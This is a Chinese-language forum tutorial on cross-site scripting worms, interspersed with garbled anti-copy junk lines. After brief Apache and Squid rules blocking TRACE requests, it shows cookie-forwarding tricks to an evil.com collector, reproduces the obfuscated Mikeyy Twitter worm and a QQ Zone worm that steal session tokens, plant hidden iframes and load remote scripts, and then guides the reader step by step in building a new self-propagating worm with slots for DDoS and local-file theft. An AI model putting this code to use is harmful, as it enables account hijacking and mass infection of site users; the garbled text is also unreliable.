/ ^( ~3 B$ u: ]# J! Q2 W- |( D如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
8 k* n7 z5 E7 ?0 y, r& j
% G/ ^( W8 @) z+ P; ]. C! K! W% m[code]
6 }: S; M! p- R& C! o6 w! i2 h0 r
RewriteEngine On
. Y+ c* _' f$ y4 s. O
RewriteCond %{REQUEST_METHOD} ^TRACE
/ ^% y/ u' Y/ W% n9 |" ]9 `% b
3 O; N5 i+ Y5 E: P3 q; D- aRewriteRule .* - [F]
6 b3 Y! i; c1 O* K5 A

; {3 G& M- r& j6 E! M* h/ r  c% P- N
# w2 e! ^& D) [8 B- QSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
+ w" @+ Y( U  M- u
. R( v7 s9 G9 e8 Tacl TRACE method TRACE

% {/ U: J) w9 Q4 a8 c5 s' r...

7 E: w: p! s" m* whttp_access deny TRACE
* ?2 Y8 K3 o. N" g( U9 q/ Z复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
, }+ A7 l. {; ^" t: b1 F- A
2 e; G1 f! }, ^7 c4 zXmlHttp.open("GET","http://www.google.com",false);
0 X# V4 R8 {# ~& I
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

2 k2 ?. x8 Z1 e7 ]$ t4 C7 gXmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
  M) r& V& D7 F4 j' c: K
7 x% |- O% K' jvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
5 A: z$ g* h; q0 o5 f

5 S& \) i8 c1 ?
  t; ?' o; d8 `3 [# i8 n2 V6 tXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
; T' w1 K  j+ ^( A3 [/ \2 b
XmlHttp.send(null);

<script>
  |* L6 z. x. y6 w& U1 S/ F复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
$ J3 A6 _  \( b: I+ G& |( v+ I复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
$ E9 V, Q* M  ^7 q
* U+ Y! L5 q) }  M) l7 c  x2 x% _6 天前 08:27
0 H/ D, z( b2 {' w: g( v
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

  W0 t- w" }8 k: [; ?( Y   2.   
( D2 L3 R* h" w$ a0 d5 M. U% `: i
, `) j1 Q) G- Q' ~' G   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  

" i) [* x5 G" Y( _" W5 Y   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
- F8 n  S  |4 l0 |
- z( }: ~  R7 R$ ?  `   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
' ]6 `9 J+ o+ ]# d
   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
* N! G% [) H6 P( C( J/ W& [) C
   2.   var content = document.documentElement.innerHTML;  
. {( P( g$ n$ P& D3 G
   3.   var tmp_cookie=document.cookie;  

1 \& E% `, K6 k   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

. X3 V% `+ |5 T3 ?! m' C   6.   var authtoken=authreg.exec(content);  
& ~) p( ]' `7 p( ~' c) U
% i9 t4 B- F; D) [! r* l   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

! c; c6 [" _1 l% g8 ?6 v; U+ N% ~0 m  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
( [1 J' G) `* @4 Z8 ]
2 m9 }6 n7 `, k2 C# y! v! P- R0 ^7 Z9 q  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
8 y7 |; n+ H, i! g3 H& v$ u) o
* M  k% F& Q6 a$ i" g) {  T  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
5 ~$ X1 y6 Z5 _, c1 Q* o& q
" _) ]- T& L6 ^: O  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
: K: T$ y0 j! V# G6 {; B4 ^
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

# h$ U8 J/ P' F8 X: U: m; A  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
: P9 m. t; M7 D
9 f- `. t8 D8 H  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
1 w8 ?7 f6 v7 [7 K: Z  k
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

# j1 D5 ^* n" J" S& c  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

4 ~7 j* D( u. y8 C5 }. o6 }2 x  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
# F! ]8 |' g. Z6 w. ^1 _3 L
, s5 G9 f; F% k1 r; |9 ?6 e  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
" z0 ^- l8 M9 O
  27.     

  28.   var ajaxConn= new XHConn();  
+ B0 N8 H0 I" Y8 n4 O
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
( V* ~: ~& g5 K$ j
  30.   var _0xf81bx1c="Mikeyy";  
8 S1 ~  F& h/ Y  Z
) K. e6 x1 t% T" O" A& b, _) a  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
4 b. j3 f0 N* I
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
" E  O. H1 E, X, S
5 c& s" }: r- i/ Y  35.   var XSS=urlencode(genXSS);  
% K* _6 o6 N8 h8 k$ C" w
, u4 ]- i4 @8 d7 t" d) z7 I  36.   var ajaxConn2= new XHConn();  
4 d5 |6 w) ?! k1 N% e$ q0 [/ w
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
  R) Q% i$ s$ ^
  38.     

  39. } ;  

  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

# _* R! N' }2 p1 twindow.onerror=killErrors;
5 N# A" b* z6 S- ^
6 J% _1 e% k- m' q
8 @- C) t1 a% p$ [3 }: U1 Z1 V) S
var shendu;shendu=4;

2 p7 Q' I! k$ }1 m; S//---------------global---v------------------------------------------

& ]2 @# X% M! C6 c8 J: f//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

' l* s( _. T: @9 yvar myblogurl=new Array();var myblogid=new Array();
8 i! A7 E9 J& h
        var gurl=document.location.href;
/ \0 f/ ^  S4 S
        var gurle=gurl.indexOf("com/");

, b1 Y; v$ W% _5 H4 R% g8 \        gurl=gurl.substring(0,gurle+3);        
& B0 G3 v  C) p; T) D
. n: s" v; c% \: ]1 [, m        var visitorID=top.document.documentElement.outerHTML;
- i8 X- I& p* t6 a' H
7 F$ Q, |" n2 J" e: E           var cookieS=visitorID.indexOf("g_iLoginUin = ");
" s" a2 V9 q! B' l3 q3 q
        visitorID=visitorID.substring(cookieS+14);
" X+ q, w; ^" z) ~. f8 V
8 B# @+ f& P6 P2 L; t6 t        cookieS=visitorID.indexOf(",");
% G" Q2 v2 t: q  r
        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

7 R" a% y" s% K. E; h4 h, N        DOshuamy();

* @& j, \8 i( z4 r! f$ J
6 @- D5 O: b8 L. M; H  I2 M9 R. k
9 @% t- m' L8 ^1 `8 p$ _) f//挂马
& p, m4 {5 R* ~' ]5 @+ H" c. U& `, e
function DOshuamy(){
( p: K% Q/ m6 |2 s  V3 A
var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

) S+ F. Z/ }( U9 M( \; p2 `6 m}


" n) z" F; Y2 q& o) A
' e- S. O+ F% U3 c//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
( _3 n! t) G) M7 D: b  v
' Q  M. f/ @9 N+ B4 Bfunction get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
- i1 g  Z' n* ]; I- z0 R! n
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
6 c8 Z/ ?) q, u/ S
   if(xhr){    //成功就执行下面的

; `6 w8 `  R+ a& [     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

. Z) ^$ q2 _. n$ V- l/ b     xhr.send();guest=xhr.responseText;
) i9 k9 D! x% s, e$ j, p0 K! U
8 N! R/ \: t  A) h8 L8 Z! H0 ~     get_my_blogurl(guest);    //执行这个函数

    }
. S& w) K' \; i% i
+ E& k2 X) h( Y4 @& f/ m! F3 V}
( Y. }7 F5 L( o' H' t. o

+ R# h+ }2 m# h, e: I9 {0 A
+ V6 Y& W# Q& d; ?, t2 ^//这里似乎是判断没有登录的

function get_my_blogurl(guest){
$ H& N4 a. v- @9 b5 D  f) u
  var mybloglist=guest;
) _+ Y+ t2 j& O/ f, z- Z$ r
  var myurls;var blogids;var blogide;

+ g0 A% j2 v: n8 U, r% d' ?  for(i=0;i<shendu;i++){
# s# m0 F2 |1 x& P9 u* B" v
" @* |( t+ f  p+ F: \( B     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

         myurls=mybloglist.indexOf(')');
* Q1 o  A9 V1 D
         myblogid=mybloglist.substring(0,myurls);

  H" U4 ]5 F; E  s        }else{break;}

- s7 ~0 G* L9 b0 i- t}
1 L$ }" U, Y8 h) o+ t+ z8 K
get_my_testself();    //执行这个函数
& V1 j  u* o6 W9 Q1 U
% O' N6 W1 f2 _( H( G}



& @) Z, r2 b% \; l//这里往哪跳就不知道了

function get_my_testself(){
# e, ?( F2 G& ?7 @
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
4 t' F" d9 ~- Q% V
! m% \3 {8 R6 n; c1 ~% K' F" T      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
# t" k  U( g) ^$ E8 \1 C8 J9 \8 q
8 l, P, x+ H1 y! \& M      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

' p6 M$ F( w+ g+ r- @+ o( k      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url
5 u4 e" I& P4 {
              xhr2.send();

. [7 t1 M2 n5 e& Z. v, b' S              guest2=xhr2.responseText;

$ G+ t' ^' d# u& }4 H! C              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

% K7 A! b: O- S: y; Z              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
4 m: a9 \; W6 t( n3 t; b
7 m6 U2 z& I, V: e/ G              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

  k! c1 ~3 ]+ t5 u, E                targetblogurlid=myblogid;   
/ @# P( F* [) J" J) @) E  U- ?2 R6 u
/ }/ M5 X. d& b) l: P                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
% q$ D2 _! M' n3 ~* |
                break;

" s- K+ L3 K* ~) Z               }

0 F' t% z) B5 j4 E" u& k              if(mycheckit=="-1"){

4 @$ @- ^. C, M: J2 ~6 s                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
& S/ y4 t4 p4 f5 `5 ]
1 \, |" M$ U: `% d               }

) F% M, v3 F# S: `) @& J! |        }      

}
, _5 q  s8 k0 {" c
}

3 R. v0 w+ G' d/ K8 j/ N- J+ Q4 B
; U4 e) S1 X8 p" P% U
" {5 a% C% W( {0 g2 Z! B- s//--------------------------------------  
  n# ]0 I5 K7 b+ z( E. |
//根据浏览器创建一个XMLHttpRequest对象
% j4 v7 a, r8 K2 l
/ c$ D0 S: ~' O: e1 ~function createXMLHttpRequest(){

4 _" y5 a) F! y# A' v    var XMLhttpObject=null;  
2 P0 x" n+ a( U! R
; S0 N% \, U& @% K/ |- h  q    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

: Y. K) d* o- r0 T- W! B& _      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

, G4 H* ^  L* Q+ k        for(var i=0;i<MSXML.length;i++)  
  v1 r( I6 S" A9 a, |
        {  
* H7 W. `  ?, O% A
            try  
, ^1 o/ U# W' p- l  p4 l
7 E0 t+ O7 u4 @+ k7 E            {  
% A% \# c& H4 [/ t) d7 W. x# Y( j
                XMLhttpObject=new ActiveXObject(MSXML);  
% F! T7 R( b/ p4 o/ E4 g
' f+ P* t0 ]6 a" j                break;  

            }  
, W5 t) k2 j0 Z1 ^- \$ C# L% _# N
; {( B% _% [3 \2 T! F2 r            catch (ex) {  
, v( q3 Y) T9 l
            }  
6 q  O" V& G+ I* L# l
/ r+ J% x$ O) {2 J  ?* H4 P- ?         }  
! j8 J* t3 z/ S2 o! h
      }

return XMLhttpObject;
+ v' B, @, W! U% R6 l1 z3 c0 c9 ?( T
}  



8 r4 G; h, @4 g# s4 `' f//这里就是感染部分了
# R* n; p. s' ?. ]# }( Q
function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
( P& S9 _3 M; [5 `7 C) k0 |
# ]( }9 p* o8 _9 a. ps2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
6 ~! }+ Y& Q, B3 F% x6 O
, r2 e& f9 h& Fs2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

9 T; s) _5 N5 l; \! r( O}
2 \) p7 ^4 o: E1 ^+ I


2 A/ I7 N, r2 Z) \- b2 F7 i1 hfunction add_jsdel(visitorID,targetblogurlid,gurl){
: _5 q) o/ s" R9 a5 n
! I/ Z0 ^9 s: @' J7 `) Z4 \, Kvar s2=document.createElement('script');
1 M8 Y% V# u5 Y/ D$ y7 i
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

3 j* f- ]; {  N0 Ds2.type='text/javascript';
/ o7 t7 @1 L- J( X! i
/ ~) p: a% h0 r. q+ ?& d, Z3 i2 Edocument.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
1 o% w% p3 u6 O: w, @) V
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
( E- k% B. f$ L  X6 P+ h

3 o8 z! A3 C4 ]* E' A% X5 ~3 p. ?下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

5 ?% S% @1 [" {8 E% V, [8 P# D首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
, P7 X( `3 T# o: d" U
request = new XMLHttpRequest();
) y% X7 L$ h: g' A- M
- C$ a- D! l4 w8 \# q; h& ^$ _7 ?if(request.overrideMimeType) {
9 f- }( V7 b3 V1 j' I& V$ V
request.overrideMimeType('text/xml');

}
! \! j# j$ [* F. ?1 o
} else if(window.ActiveXObject) {
4 e. w( z  m0 l+ g
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
7 n1 V$ V, M$ m
for(var i=0; i<versions.length; i++) {
7 Y6 H0 N; U9 P
, o4 \' a' z% F, E: I! s& w- Stry {

request = new ActiveXObject(versions);
# x" w2 {( v& z0 D  Z, K
' N% g% X4 q1 q& f( _} catch(e) {}

}

: v% M5 g. S0 m: p+ o}

xmlHttpReq=request;
/ s! V, l# n2 ~  Z) s& I复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
) p/ O) B+ n# Y& n$ Y6 K+ P
  x. ^) n, s) E% v        var Browser_Name=navigator.appName;
/ L( z& H# q) W: ~+ r8 _2 q' L8 V
        var Browser_Version=parseFloat(navigator.appVersion);
* q$ r1 H6 W3 t/ Y; r3 a
        var Browser_Agent=navigator.userAgent;
, z9 ^" c0 x* V8 E  Q
        

        var Actual_Version,Actual_Name;
# |' f) G$ i0 D( G0 {
        
8 R3 l8 `% c1 u, l* ?% t
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");
+ F' O2 W0 ]4 ~/ ~% }& s" @3 O- a
        var is_Ch=(Browser_Name=="Chrome");
/ ~6 Z3 p9 m/ I1 ^/ }6 p
        
3 r7 k2 U7 z% A& Z: c
* O/ g. T+ O6 C9 M4 e        if(is_NN){

            if(Browser_Version>=5.0){

! @$ e3 K. {+ x) J: w0 t: D$ `                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
- `2 u. ^8 H7 V4 M1 r3 D
9 F4 v' c8 q( d: ]% h4 A                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

* v: {" j5 W, X( n9 M7 i
$ m0 N3 }# P" x6 x$ C1 S2 |+ D
4 m/ p- _, v) a7 ?0 j1 m+ Q                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
2 L' d5 q; ?4 R
            }

7 F$ f9 a! \$ W- w0 T7 N            else{
) D; m  p* H0 b* m( R
                Actual_Version=Browser_Version;
6 S5 N' U4 U& n# [: R
                Actual_Name=Browser_Name;

" C: K; c3 W2 `            }
( S5 k6 H3 v. N! o) c$ `
        }
3 V) n7 I4 ?4 S7 w% |. N
% K4 d* o% n7 r( L# z        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

& e1 {6 o, ?1 m- V3 h1 B            var Version_End=Browser_Agent.indexOf(";",Version_Start);
+ |: g' K6 |  R8 X
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

. d' c' G, q$ h7 ~  a* z! D            Actual_Name=Browser_Name;

            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
! n0 x/ J, q/ [4 _
                Actual_Name+="(Maxthon)";
4 {- z1 j' \9 G3 @6 s8 I: P
            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
" u: T. O1 F& m/ ?( B- k
( I: s1 P* i. ~1 O3 @7 u+ ^                Actual_Name="Opera";
7 }' T$ {; L- J+ z% N3 i/ i
' h) z+ n. {7 g, b: Z  e% R5 t& b' Z/ ]                var tempstart=Browser_Agent.indexOf("Opera");

" h7 e7 b$ W& I8 m9 r                var tempend=Browser_Agent.length;

& s4 c- i7 T  k4 m0 ]                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
  h2 W5 Y0 c" Y7 \( B/ d8 M8 ^0 S" q
        }
7 I  q; [% [9 L6 n
        else if(is_Ch){
1 w& Q# R. Q2 [
# e! e3 W, n  T; k0 J2 i% z. i9 r            var Version_Start=Browser_Agent.indexOf("Chrome");
7 k' d$ ~: l( w5 N/ T) g
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

; M9 }. c* N# f/ U            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
- k2 u; q, _9 r& g# e
3 ]! P* m+ R8 `' V, f            Actual_Name=Browser_Name;
) M6 Q1 E+ S: N# v% q5 N2 n
            
3 @0 z$ M7 B7 e) ^& k% x5 U8 T( w7 Y
            if(Browser_Agent.indexOf("Maxthon")!=-1){
! s3 U7 Q* a7 K0 @% W+ p+ z
                Actual_Name+="(Maxthon)";
; G9 m# a# P3 c9 J' `: B
            }

) K; C% q" F9 B% g# b            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
  G0 N# ^7 X4 [. Y& {
; o- E! t% [: {5 I! s                var tempstart=Browser_Agent.indexOf("Opera");
/ e7 R( C+ b: t' j% K0 u' q* Q% e% c# |
& ]" ^- s! S6 C* G5 B                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
; Z1 h  e- y. m7 N
            }
, s6 o( ^: @* t7 R& V; F) y
        }

        else{

4 {" B) C) y+ s1 D) U* u0 P5 t% a            Actual_Name="Unknown Navigator"
% p" \/ h4 u* g8 p2 x' K3 b
            Actual_Version="Unknown Version"

        }

, \- h  n0 _+ E
( _3 a- T* j4 h& R( Q6 e0 O% |6 V. g$ ~, I
        navigator.Actual_Name=Actual_Name;
! t! r) @+ O) ~9 Q: T  I9 s( @
* |; C5 `3 J. ?        navigator.Actual_Version=Actual_Version;
  J3 R. R: }( j$ A5 b( q4 K% `
; k9 Y- x3 T% D+ M        

+ t# k5 x* ~9 ~8 ^1 E        this.Name=Actual_Name;
: t4 ~! _% z. @- A: g- n8 [
        this.Version=Actual_Version;
5 q# j1 L! v, L( ~9 N
    }

/ s- _7 B; o9 L& V4 ^6 S# R4 Z2 J' [    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
1 _5 e5 ~% z1 U
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
% G8 D1 g: L( `( ~/ K7 W
# u' r; v& L4 N0 u; c; o! j    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
4 d* U, I6 e8 f/ b: L
! [0 m. k; p8 j* O1 T    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
4 _8 C% }3 ?* b复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
2 U7 I: w' N1 D: p* o% V复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

  Y' P# z4 v  `' t' q$ T' UxmlHttpReq.send(null);

) F3 a% x  Y. m# G4 X" p( tvar resource = xmlHttpReq.responseText;
- V; b; ?6 _; K3 T2 p4 T: \7 I
, S% W( T# \. ovar id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
4 \2 x& P& ?, ~' f; }1 a
while ((result = patt.exec(resource)) != null)  {

+ y  y" c8 |- x8 ?9 v" h; Tid++;

. n9 s0 O- u1 X/ l# E}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
/ ?+ r6 `, ~) G) U
( `8 h" z0 B" w# m. x0 ?var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;

2 o' G7 O' `7 e' f- y% G  ExmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

! Y* v/ O6 a  `8 ^3 s5 OxmlHttpReq.setRequestHeader("content-length",post.length);
" L! U* d" s. V7 s
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
! s+ m: j" l1 ]% {7 P
xmlHttpReq.send(post);
# B9 B9 y; a. ^$ E
& q2 K. x, R- c$ a- x}
" m3 d: @* l) y! c) G: Z7 ]复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
$ x  R1 ]/ Z) |+ V* `+ E
2 v5 Z$ e8 |( _var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

1 z3 ]) ?: h6 o# \var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
. \# ?: q- o4 w4 `& N' O( q
var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
8 e6 w+ X  G& j7 q  ^
0 ^/ u  @; }! m  H  hvar post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
) g9 O6 X& b1 f: g0 Q
: S2 C5 d  b% u2 @xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

/ c; U7 v6 j) C5 R( l}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
! x: F! D8 W) c2 [4 r; `& z


